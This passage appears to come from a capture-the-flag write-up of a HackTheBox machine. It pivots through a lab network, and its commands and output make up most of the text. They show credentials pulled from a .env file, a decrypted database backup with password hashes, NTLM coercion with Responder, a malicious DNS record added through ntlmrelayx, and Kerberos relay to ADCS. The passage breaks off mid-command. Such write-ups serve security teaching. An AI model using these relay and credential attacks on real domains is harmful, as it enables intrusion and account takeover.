alternatives.tar.2.gz apt.extended_states.0 apt.extended_states.4.gz dpkg.arch.2.gz dpkg.diversions.1.gz dpkg.statoverride.0 dpkg.statoverride.4.gz dpkg.status.3.gz
alternatives.tar.3.gz apt.extended_states.1.gz apt.extended_states.5.gz dpkg.arch.3.gz dpkg.diversions.2.gz dpkg.statoverride.1.gz dpkg.status.0 dpkg.status.4.gz
It has a single file, which is encrypted with PGP:
postgres@drip:/var/backups/postgres$ ls
dev-dripmail.old.sql.gpg
postgres@drip:/var/backups/postgres$ file dev-dripmail.old.sql.gpg
dev-dripmail.old.sql.gpg: PGP RSA encrypted session key - keyid: 11123366 61D8BC1F RSA (Encrypt or Sign) 3072b .
Web Servers
There are two website directories (and a Python virtual environment) in /var/www:
postgres@drip:/var/www$ ls
app_venv html roundcube
roundcube looks like a typical install of RoundCube. html has two directories, and the index page that handles redirection:
postgres@drip:/var/www/html$ ls
dashboard dripmail index.html
postgres@drip:/var/www/html$ cat index.html
<meta http-equiv="refresh" content="0; url=http://drip.htb/" />
In dashboard, there’s a Flask web app, and a .env file:
# True for development, False for production
DEBUG=False
# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development
# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>
# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets
# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432
SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'
This has creds for the DB (though I didn’t need them as the postgres user).
Network
I’ll run a ping sweep of the current network and find three total hosts:
postgres@drip:/var/lib/postgresql$ for i in {1..254}; do (ping -c 1 172.16.20.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
64 bytes from 172.16.20.1: icmp_seq=1 ttl=128 time=4.13 ms
64 bytes from 172.16.20.2: icmp_seq=1 ttl=128 time=4.35 ms
64 bytes from 172.16.20.3: icmp_seq=1 ttl=64 time=0.032 ms
.3 is this VM, and .1 is almost assuredly the main host. The /etc/hosts file confirms that 1. is the DC:
127.0.0.1 localhost drip.htb mail.drip.htb dev-a3f1-01.drip.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.3 drip.darkcorp.htb
I’ll use SSH with ebelford to make a socks proxy:
sshpass -p 'ThePlague61780' ssh ebelford@drip.htb -D 1080
172.16.20.1
I’ll grab a static nmap binary and upload it to the container. I’ll scan the hosts. .1 looks like a DC:
postgres@drip:/dev/shm$ NMAPDIR=/usr/share/nmap ./nmap -p- --min-rate 1000 172.16.20.1
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2025-10-14 08:21 MDT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for DC-01 (172.16.20.1)
Host is up (0.0041s latency).
Not shown: 65506 filtered ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps
2179/tcp open unknown
3268/tcp open unknown
3269/tcp open unknown
5985/tcp open unknown
9389/tcp open unknown
47001/tcp open unknown
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
56010/tcp open unknown
60341/tcp open unknown
60546/tcp open unknown
60557/tcp open unknown
60627/tcp open unknown
60631/tcp open unknown
64328/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 100.53 seconds
It also has SSH (22) and HTTP (80), as well as WinRM (5985).
netexec show that this is a host named DC-01 on darkcorp.htb:
oxdf@hacky$ proxychains netexec smb 172.16.20.1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:445 ... OK
SMB 172.16.20.1 445 DC-01 Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
LDAP signing is not enabled:
oxdf@hacky$ proxychains netexec ldap 172.16.20.1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:389 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:389 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:636 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:636 ... OK
LDAP 172.16.20.1 389 DC-01 Windows Server 2022 Build 20348 (name:DC-01) (domain:darkcorp.htb) (signing:None) (channel binding:Never)
172.16.20.2
.2 looks like Windows as well, but this time at least one (80) if not two (5000) HTTP ports:
postgres@drip:/dev/shm$ NMAPDIR=/usr/share/nmap ./nmap -p- --min-rate 1000 172.16.20.2
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2025-10-14 08:23 MDT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.16.20.2
Host is up (0.0063s latency).
Not shown: 65518 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5000/tcp open unknown
5985/tcp open unknown
31716/tcp filtered unknown
47001/tcp open unknown
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
63731/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 66.61 seconds
The hostname is WEB-01:
oxdf@hacky$ proxychains netexec smb 172.16.20.2
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
SMB 172.16.20.2 445 WEB-01 Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
Using the tunnel and FoxyProxy, I’ll visit the sites. 80 is just IIS default:
5000 pops HTTP auth:
I’m not able to get past this yet.
Recover Backup
To get access to the backup, I’ll need the GPG environment and the passphrase. I can try the password used by the Flask app to connect to the database. For this to work, I’ll need to make sure to set the TERM environment variable. There’s a popup asking for the password, and on entering “2Qa2SsBkQvsc”, it dumps the file:
postgres@drip:/var/backups/postgres$ export TERM=xterm
postgres@drip:/var/backups/postgres$ gpg --batch -d dev-dripmail.old.sql.gpg
gpg: encrypted with 3072-bit RSA key, ID 1112336661D8BC1F, created 2025-01-08
"postgres <postgres@drip.darkcorp.htb>"
--
-- PostgreSQL database dump
--
-- Dumped from database version 15.10 (Debian 15.10-0+deb12u1)
-- Dumped by pg_dump version 15.10 (Debian 15.10-0+deb12u1)
SET statement_timeout = 0;
SET lock_timeout = 0;
SET idle_in_transaction_session_timeout = 0;
SET client_encoding = 'UTF8';
SET standard_conforming_strings = on;
SELECT pg_catalog.set_config('search_path', '', false);
SET check_function_bodies = false;
SET xmloption = content;
SET client_min_messages = warning;
SET row_security = off;
SET default_tablespace = '';
SET default_table_access_method = heap;
--
-- Name: Admins; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public."Admins" (
id integer NOT NULL,
username character varying(80),
password character varying(80),
email character varying(80)
);
ALTER TABLE public."Admins" OWNER TO postgres;
--
-- Name: Admins_id_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--
CREATE SEQUENCE public."Admins_id_seq"
AS integer
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
ALTER TABLE public."Admins_id_seq" OWNER TO postgres;
--
-- Name: Admins_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: postgres
--
ALTER SEQUENCE public."Admins_id_seq" OWNED BY public."Admins".id;
--
-- Name: Users; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public."Users" (
id integer NOT NULL,
username character varying(80),
password character varying(80),
email character varying(80),
host_header character varying(255),
ip_address character varying(80)
);
ALTER TABLE public."Users" OWNER TO postgres;
--
-- Name: Users_id_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--
CREATE SEQUENCE public."Users_id_seq"
AS integer
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
ALTER TABLE public."Users_id_seq" OWNER TO postgres;
--
-- Name: Users_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: postgres
--
ALTER SEQUENCE public."Users_id_seq" OWNED BY public."Users".id;
--
-- Name: Admins id; Type: DEFAULT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public."Admins" ALTER COLUMN id SET DEFAULT nextval('public."Admins_id_seq"'::regclass);
--
-- Name: Users id; Type: DEFAULT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public."Users" ALTER COLUMN id SET DEFAULT nextval('public."Users_id_seq"'::regclass);
--
-- Data for Name: Admins; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public."Admins" (id, username, password, email) FROM stdin;
1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb
2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb
3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb
\.
--
-- Data for Name: Users; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public."Users" (id, username, password, email, host_header, ip_address) FROM stdin;
5001 support d9b9ecbf29db8054b21f303072b37c4e support@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5002 bcase 1eace53df87b9a15a37fdc11da2d298d bcase@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5003 ebelford 0cebd84e066fd988e89083879e88c5f9 ebelford@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
\.
--
-- Name: Admins_id_seq; Type: SEQUENCE SET; Schema: public; Owner: postgres
--
SELECT pg_catalog.setval('public."Admins_id_seq"', 1, true);
--
-- Name: Users_id_seq; Type: SEQUENCE SET; Schema: public; Owner: postgres
--
SELECT pg_catalog.setval('public."Users_id_seq"', 5003, true);
--
-- Name: Admins Admins_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public."Admins"
ADD CONSTRAINT "Admins_pkey" PRIMARY KEY (id);
--
-- Name: Users Users_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public."Users"
ADD CONSTRAINT "Users_pkey" PRIMARY KEY (id);
--
-- Name: TABLE "Admins"; Type: ACL; Schema: public; Owner: postgres
--
GRANT SELECT ON TABLE public."Admins" TO dripmail_dba;
--
-- Name: SEQUENCE "Admins_id_seq"; Type: ACL; Schema: public; Owner: postgres
--
GRANT ALL ON SEQUENCE public."Admins_id_seq" TO dripmail_dba;
--
-- Name: TABLE "Users"; Type: ACL; Schema: public; Owner: postgres
--
GRANT SELECT ON TABLE public."Users" TO dripmail_dba;
--
-- Name: SEQUENCE "Users_id_seq"; Type: ACL; Schema: public; Owner: postgres
--
GRANT ALL ON SEQUENCE public."Users_id_seq" TO dripmail_dba;
--
-- PostgreSQL database dump complete
In this dump, there are two additional admin entries, and potentially bcase’s original:
COPY public."Admins" (id, username, password, email) FROM stdin;
1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb
2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb
3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb
ebelford matches the password I found in the log. victor.r cracks as well:
Validation
The password for ebelford doesn’t work on the domain, but the one for victor.r does:
oxdf@hacky$ proxychains netexec smb 172.16.20.2 -u ebelford -p ThePlague61780
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
SMB 172.16.20.2 445 WEB-01 Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
SMB 172.16.20.2 445 WEB-01 [-] darkcorp.htb\ebelford:ThePlague61780 STATUS_LOGON_FAILURE
oxdf@hacky$ proxychains netexec smb 172.16.20.2 -u victor.r -p victor1gustavo@#
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
SMB 172.16.20.2 445 WEB-01 Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
SMB 172.16.20.2 445 WEB-01 [+] darkcorp.htb\victor.r:victor1gustavo@#
victor.r’s creds also work on port 5000 on WEB-01 with the HTTP auth.
Shell as Administrator@WEB-01
Enumeration
General Domain Enumeration
With creds on the domain there are some other common things to check. The number of machines a generic user can add to the domain (MachineAccountQuota) is 0, and there is ADCS running on the DC:
oxdf@hacky$ proxychains netexec ldap 172.16.20.1 -u victor.r -p victor1gustavo@# -M maq -M adcs
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:389 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:389 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:636 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:636 ... OK
LDAP 172.16.20.1 389 DC-01 Windows Server 2022 Build 20348 (name:DC-01) (domain:darkcorp.htb) (signing:None) (channel binding:Never)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:389 ... OK
LDAP 172.16.20.1 389 DC-01 [+] darkcorp.htb\victor.r:victor1gustavo@#
MAQ 172.16.20.1 389 DC-01 Getting the MachineAccountQuota
MAQ 172.16.20.1 389 DC-01 MachineAccountQuota: 0
ADCS 172.16.20.1 389 DC-01 Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 172.16.20.1 389 DC-01 Found PKI Enrollment Server: DC-01.darkcorp.htb
ADCS 172.16.20.1 389 DC-01 Found CN: DARKCORP-DC-01-CA
ADCS 172.16.20.1 389 DC-01 Found PKI Enrollment WebService: https://dc-01.darkcorp.htb/DARKCORP-DC-01-CA_CES_Kerberos/service.svc/CES
BloodHound
I’ll use RustHound-CE to collect BloodHound data:
oxdf@hacky$ proxychains rusthound-ce --domain darkcorp.htb -u victor.r -p victor1gustavo@# --zip
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
---------------------------------------------------
Initializing RustHound-CE at 19:14:40 on 10/14/25
Powered by @g0h4n_0
---------------------------------------------------
[2025-10-14T19:14:40Z INFO rusthound_ce] Verbosity level: Info
[2025-10-14T19:14:40Z INFO rusthound_ce] Collection method: All
[proxychains] Strict chain ... 127.0.0.1:1080 ... darkcorp.htb:389 ... OK
[2025-10-14T19:14:40Z INFO rusthound_ce::ldap] Connected to DARKCORP.HTB Active Directory!
[2025-10-14T19:14:40Z INFO rusthound_ce::ldap] Starting data collection...
[2025-10-14T19:14:40Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:41Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=darkcorp,DC=htb
[2025-10-14T19:14:41Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:41Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=darkcorp,DC=htb
[2025-10-14T19:14:41Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:41Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=darkcorp,DC=htb
[2025-10-14T19:14:41Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:42Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=darkcorp,DC=htb
[2025-10-14T19:14:42Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:42Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=darkcorp,DC=htb
[2025-10-14T19:14:42Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
⢀ Parsing LDAP objects: 4%
[2025-10-14T19:14:42Z INFO rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates
[2025-10-14T19:14:42Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2025-10-14T19:14:42Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 13 users parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 62 groups parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 3 computers parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 4 ous parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 3 domains parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 3 gpos parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 74 containers parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 1 aiacas parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 1 rootcas parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 33 certtemplates parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2025-10-14T19:14:42Z INFO rusthound_ce::json::maker::common] .//20251014191442_darkcorp-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 19:14:42 on 10/14/25! Happy Graphing!
I’ll upload the data into BloodHound-CE Docker and start with victor.r:
Nothing that all domain users can’t do.
WEB-01 TCP 5000
I’ll use victor.r’s creds to get into the website, and it’s a basic monitoring dashboard:
The “Check Status” link (/check) shows a form:
Each of the options is from a drop down:
Catch NTLM
Messing with the HTTP request seems like an option, but also works to grab a statically compiled socat and listen on port 8080, tunneling it to my host:
postgres@drip:/dev/shm$ ./socat TCP-LISTEN:8080,bind=0.0.0.0,fork TCP:10.10.14.8:80
Now I submit a check request to drip.darkcorp.htb:8080:
Sending that arrives at my listening nc:
oxdf@hacky$ nc -lnvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.11.54 60524
GET / HTTP/1.1
Host: drip.darkcorp.htb:8080
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
If I want to try to coerce NTLM auth, I’ll use Responder, and on sending, I get a connection:
oxdf@hacky$ sudo ./venv/bin/python Responder.py -I tun0
...[snip]...
[+] Current Session Variables:
Responder Machine Name [WIN-DTUA4DW2XID]
Responder Domain Name [7HA1.LOCAL]
Responder DCE-RPC Port [49628]
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.11.54
[HTTP] NTLMv2 Username : darkcorp\svc_acc
[HTTP] NTLMv2 Hash : svc_acc::darkcorp:ffdb62442934ec99:63F597E3C5D438360354CF490724F368:01010000000000008CE06A82563DDC01DABD37CC5F38A9F30000000002000800370048004100310001001E00570049004E002D00440054005500410034004400570032005800490044000400140037004800410031002E004C004F00430041004C0003003400570049004E002D00440054005500410034004400570032005800490044002E0037004800410031002E004C004F00430041004C000500140037004800410031002E004C004F00430041004C00080030003000000000000000000000000030000031EC7482A518E93073DC620355271849187E5AAAD9F26F57289D7D78892794DE0A0010000000000000000000000000000000000009002C0048005400540050002F0064007200690070002E006400610072006B0063006F00720070002E006800740062000000000000000000
This Net-NTLMv2 won’t crack.
It’s worth noting that this seems broken in the most recent versions of Responder as of October 2025. It seems to have broken in this commit, though I’m not exactly sure why. I was able to get this working by checking out a branch before that one.
svc_acc doesn’t have any outbound control, but they are a member of the DNSADMINS group:
That suggests they can edit DNS records, where typical users cannot.
Get Silver Ticket
Strategy
I’m going to put together several pieces here:
- I’ll relay the authentication from the drip webserver to authenticate as svc_acc to add a DNS record for the DC-01 host that will point to my host (abusing the same trick as VulnCicada).
- I’ll then coerce WEB-01 to authenticate to DC-01 and relay that to DC-01 ADCS to get a certificate for Administrator on WEB-01 (a Silver Ticket).
Create DNS Record
Just like in VulnCicada, I’ll use the method described in this Synactiv post to relay Kerberos. For that to work, I need to add a DNS record that looks like the hostname plus an empty CREDENTIAL_TARGET_INFORMATION structure. This structure allows me to add a record that will resolve to dc-01 without having permissions to modify that entry. So in this case, DC-01 becomes:
dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
I can try to just create this record, but victor.r doesn’t have sufficient privileges:
oxdf@hacky$ proxychains bloodyAD -u victor.r -p 'victor1gustavo@#' -d darkcorp.htb --host DC-01 add dnsRecord dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.8
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC-01:389 ... OK
Traceback (most recent call last):
File "/home/oxdf/.local/bin/bloodyAD", line 10, in <module>
sys.exit(main())
^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.12/site-packages/bloodyAD/main.py", line 210, in main
output = args.func(conn, **params)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.12/site-packages/bloodyAD/cli_modules/add.py", line 334, in dnsRecord
conn.ldap.bloodyadd(record_dn, attributes=record_attr)
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.12/site-packages/bloodyAD/network/ldap.py", line 213, in bloodyadd
raise err
msldap.commons.exceptions.LDAPAddException: LDAP Add operation failed on DN DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb! Result code: "insufficientAccessRights" Reason: "b'00000005: SecErr: DSID-03152E29, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00'"
Instead, I’ll use ntlmrelayx (from Impacket) to relay the auth from acc_svc (as a member of DNSADMINS) to create this record:
oxdf@hacky$ proxychains ntlmrelayx.py -t 'ldap://172.16.20.1' --no-dump --no-smb-server --no-acl --no-da --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.14.8
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled
When I have the web server connect back to me via check, it triggers:
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 10.10.11.54 controlled, attacking target ldap://172.16.20.1
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:389 ... OK
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldap://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[*] Assuming relayed user has privileges to escalate a user via ACL attack
[*] Checking if domain already has a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` DNS record
[*] Domain does not have a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` record!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:53 ... OK
[*] Adding `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` pointing to `10.10.14.8` at `DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb`
[*] Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)
The record is added:
ebelford@drip:~$ nslookup dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb
Server: 172.16.20.1
Address: 172.16.20.1#53
Name: dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb
Address: 10.10.14.8
Get Ticket
I’ll use krbrelayx to relay the Kerberos auth from WEB-01 to DC-01:
oxdf@hacky$ proxychains krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs -v 'WEB-01$'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
